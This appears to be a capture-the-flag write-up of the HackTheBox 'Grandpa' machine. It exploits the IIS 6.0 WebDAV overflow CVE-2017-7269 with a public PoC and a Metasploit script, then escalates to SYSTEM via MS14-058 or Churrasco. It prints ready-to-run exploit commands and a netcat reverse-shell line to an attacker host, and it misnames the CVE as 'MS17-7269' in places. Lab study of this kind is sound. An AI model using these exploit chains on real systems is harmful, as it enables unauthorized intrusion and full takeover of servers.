- OS: Windows Server 2003 R2
- Domain / vhosts:
grandpa.htb
Summary
Grandpa shares its OS, IIS version, and patchlevel with its sibling Granny
but diverges on the foothold: instead of Granny’s WebDAV PUT+MOVE
filter-bypass, the bug here is CVE-2017-7269, a stack buffer overflow in
the IIS 6.0 WebDAV ScStoragePathFromUrl function reachable via a crafted
PROPFIND request with an oversized If: header. The overflow’s payload
executes in the IIS worker process context, which on Windows Server 2003
runs as NT AUTHORITY\NETWORK SERVICE. Privilege escalation then mirrors
Granny: a service account with SeImpersonatePrivilege is one Churrasco
(token kidnapping) or one MS14-058 away from SYSTEM. Either flag is
reachable from a single SYSTEM session.
The teaching beat is protocol-handler memory corruption versus filter
bypass. Granny attacks WebDAV at the policy layer (the upload filter
forgot about MOVE); Grandpa attacks the same protocol at the parser
layer (the If: header length is unchecked). Same OS, same banner, two
genuinely different bug classes — a useful pair for understanding that
“WebDAV is dangerous” is not one bug but a family of them.
On this run the foothold landed cleanly via the Metasploit module after
forcing the framework to reload its module path (a Kali 2026.1 + msf 6.4
quirk that surfaces as uninitialized constant HTTP). The post-exploit
meterpreter inhabits a rundll32.exe injected under w3wp.exe — that
child crashes immediately, so migrate to a stable wmiprvse.exe first
before anything else. getsystem’s named-pipe impersonation primitives
(including the EFSRPC variant) are all blocked on this 2003 R2 build, so
Churrasco is the userland path. The kernel-mode shortcut MS14-058
track_popup_menu lands a SYSTEM session in one shot from the same
NETWORK SERVICE meterpreter and is what we used here.
References
- 0xdf, “HTB: Grandpa” — https://0xdf.gitlab.io/2020/05/28/htb-grandpa.html. Primary source. Walks the CVE-2017-7269 exploitation path (with notes on the alpha-mixed encoded shellcode required to bypass the parser’s character restrictions), the initial NETWORK SERVICE shell, and the Churrasco token-kidnapping privesc to SYSTEM via the Rpcss service’s thread-token table.
- IppSec, “Grandpa” video walkthrough — https://ippsec.rocks/?#Grandpa.
- ZDI advisory for CVE-2017-7269 — published originally as ZDI-17-291,
describing the
ScStoragePathFromUrloverflow and its preauth nature via the WebDAV handler. - Cesar Cerrudo, “Token Kidnapping” / Churrasco PoC (2008) — conceptual prior art for the SYSTEM step.
Recon
The initial nmap is identical to Granny: tcp/80 with IIS 6.0, every
WebDAV verb in the Allow: header, Windows Server 2003 fingerprint.
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Allowed: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK, PUT
Two paths apply on this fingerprint: the Granny-style upload-filter bypass and the CVE-2017-7269 buffer overflow. Both are worth-knowing. On Grandpa the box’s content directory does not expose a writable WebDAV path the same way Granny’s does, so the upload path is harder; the buffer overflow is the cleaner foothold.
A quick davtest confirms the WebDAV is alive and probing
PROPFIND returns a normal multistatus response — confirmation
that the parser is reachable preauth.
Foothold — CVE-2017-7269 (ScStoragePathFromUrl overflow)
The bug lives in httpext.dll, the IIS-side ISAPI extension that
implements WebDAV on IIS 6.0. When IIS canonicalizes the If:
header on a PROPFIND request, the function ScStoragePathFromUrl
copies a Unicode-encoded URL into a fixed stack buffer without
bounding the length. An If: header containing a sufficiently
long URL therefore overflows the buffer and overwrites the saved
return address. As with MS08-067 on XP, Windows 2003 has no
default DEP enforcement on the IIS worker and no kernel ASLR, so
the overflow’s payload executes directly.
The payload character set is constrained: the parser interprets
the If: value as a Unicode URL, so the bytes must round-trip
through UTF-16 conversion. Public exploits ship an alpha-mixed
encoded shellcode (Metasploit’s x86/alpha_mixed) that survives
the conversion.
Two viable forms:
# Public Python PoC (e.g. ExploitDB 41738)
python3 ms17-7269.py <TARGET> 80 <ATTACKER> 4444
# Metasploit (verified working on Kali 2026.1 / msf 6.4)
msfconsole -q -r exploit.rc
# exploit.rc:
loadpath /usr/share/metasploit-framework/modules
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS <TARGET>
set LHOST <ATTACKER>
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -z
The leading loadpath … line is a workaround for a Kali 2026.1
quirk: cold-starting msfconsole shows [-] The supplied module
name is ambiguous: uninitialized constant HTTP for any module
load, including unrelated ones, until the modules are explicitly
reloaded. loadpath triggers a full re-scan and the constant
resolves; without it the entire chain stalls at use 1. Net cost
of skipping the workaround is ~10 min of [-] Unknown command:
exploit while you guess what’s wrong.
The Metasploit module wraps the same primitive and lands a
Meterpreter session; the Python PoC drops a plain cmd.exe
reverse shell.
[*] Trying path length 3 to 60 ...
[*] Sending stage (199238 bytes) to <TARGET>
[*] Meterpreter session 1 opened
Don’t run getuid yet — the session is in a rundll32.exe child
that the kernel kills almost immediately:
meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.
Migrate to a long-lived NETWORK SERVICE process first
(wmiprvse.exe under svchost, PID varies — ps to find it):
meterpreter > ps # find wmiprvse.exe NETWORK SERVICE
meterpreter > migrate <wmiprvse PID>
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
Initial shell context — Network Service
The IIS worker’s app-pool identity on Windows Server 2003 is
NETWORK SERVICE by default. The user flag is owned by harry
and not directly readable from the worker context, so the chain
proceeds straight to a SYSTEM step rather than pivoting to
harry first. Reading harry\Desktop\user.txt happens
post-SYSTEM.
whoami /priv from the Network Service shell shows
SeImpersonatePrivilege = Enabled — the precondition for token
kidnapping. That privilege is granted to all service accounts on
2003 by default.
Privilege escalation — Churrasco vs MS14-058 (kernel)
Two viable paths from NETWORK SERVICE. The userland
Churrasco (token kidnapping) primitive is the more instructive
study; MS14-058 is the one-shot that worked here.
MS14-058 — what we used
getsystem doesn’t help on this build — every named-pipe
impersonation variant (admin, dropper, in-memory, RPCSS,
PrintSpooler, EFSRPC) returns not supported. Use the local
exploit suggester to discover what’s actually exploitable:
meterpreter > background
msf > use post/multi/recon/local_exploit_suggester
msf > set SESSION 1
msf > run
On a fresh 2003 R2 spawn the suggester flags six options
(ms10_015_kitrap0d, ms14_058_track_popup_menu,
ms14_070_tcpip_ioctl, ms15_051_client_copy_image,
ms16_016_webdav, ms16_075_reflection). MS14-058 is the
fastest and reflectively-injects the DLL — no on-disk artifact:
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf > set SESSION 1
msf > set LPORT 4445
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > exploit -z
[*] Reflectively injecting the exploit DLL and triggering the exploit...
[*] Launching msiexec to host the DLL...
[*] Meterpreter session 2 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Both flags are then trivially readable:
type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
Churrasco — the study path
Churrasco abuses SeImpersonatePrivilege by exhausting the RPC
client connection table on the local RPC server until one of the
RPCSS service threads is impersonating a high-privilege caller.
At that point the attacker — running as Network Service — can
duplicate the impersonation token via the documented
OpenThreadToken + DuplicateTokenEx sequence and use it to
spawn a process. Because RPCSS occasionally impersonates SYSTEM
during legitimate RPC service handling, the duplicated token is
SYSTEM.
The classic exploit binary, churrasco.exe, automates the
walk-the-thread-table-and-impersonate dance. Drop it on the
target via the existing Meterpreter session, then run it with a
follow-on payload:
upload /usr/share/exploitdb/exploits/windows/local/churrasco.exe \
C:\\wmpub\\
upload nc.exe C:\\wmpub\\
shell
> cd C:\wmpub
> churrasco.exe -d "nc.exe -e cmd.exe <ATTACKER> 4445"
Churrasco is the spiritual ancestor of the modern Potato family and is worth running once on a Windows 2003 host for that reason. For a confirmation run, MS14-058 is faster and leaves no on-disk artifact.
Why each step worked
- Unbounded
wcscpy-equivalent inScStoragePathFromUrl: the function trusts the caller-supplied URL length, which is attacker-controlled via theIf:header. The IIS 6.0 codebase was retired by Microsoft in 2014 (when 2003 went out of mainstream support); CVE-2017-7269 was discovered after that cutoff, so 2003 hosts received no patch. - Network Service holds
SeImpersonatePrivilege: this is the same root cause as Granny’s escalation. Service accounts on 2003 were granted impersonation by default to support service-to-service token use. - Token kidnapping abuses RPCSS thread tokens: RPCSS handles
RPC calls on behalf of arbitrary callers and impersonates them
during call dispatch. A coresident process with
SeImpersonatePrivilegecan read those impersonation tokens out of the thread table; the SYSTEM token shows up there during legitimate cross-service RPC calls.
Counterfactuals
- Patch: Microsoft did not release a fix for CVE-2017-7269 on Windows 2003 (out-of-support); the only mitigation is to disable WebDAV. On supported OSes, ensure 2017 cumulative updates are applied.
- Disable WebDAV on IIS 6.0 entirely (
Web Service Extensions → WebDAV → Prohibit). - Run the IIS app pool under a less-privileged identity that
doesn’t carry
SeImpersonatePrivilege(NT AUTHORITY\IUSR or a custom low-priv account). On 2003 this is non-default; on 2008+ this is the standard. - Don’t run public-facing services on EOL Windows.
Key Takeaways
- “WebDAV vulnerable” is not one bug but a family. On the same
Windows 2003 + IIS 6.0 host, two distinct preauth RCE paths
apply (the Granny upload-filter bypass and the Grandpa
ScStoragePathFromUrl overflow). Always verify which is actually
there rather than mapping
IIS 6 + WebDAV → MS17-7269blindly. - Token kidnapping (Churrasco) is the spiritual ancestor of the
modern “Potato” family (Hot/Rotten/Juicy/Rogue/Sweet/Lonely
Potato). Understanding the underlying primitive — abusing
SeImpersonatePrivilegeagainst an impersonating service — generalizes to every Windows version that grants the privilege to a foothold-reachable account. - Architecture mismatches break Windows kernel exploits.
PowerShell sessions launched from a 32-bit IIS worker need to
migrate (
%WINDIR%\sysnative\WindowsPowerShell\v1.0\powershell.exe) before running 64-bit kernel exploit DLLs.
References
- 0xdf, “HTB: Grandpa” — https://0xdf.gitlab.io/2020/05/28/htb-grandpa.html
- IppSec, “Grandpa” — https://ippsec.rocks/?#Grandpa
- ZDI-17-291 (CVE-2017-7269)
- Cesar Cerrudo, “Token Kidnapping” (Churrasco) — 2008
- ExploitDB 41738 (public PoC)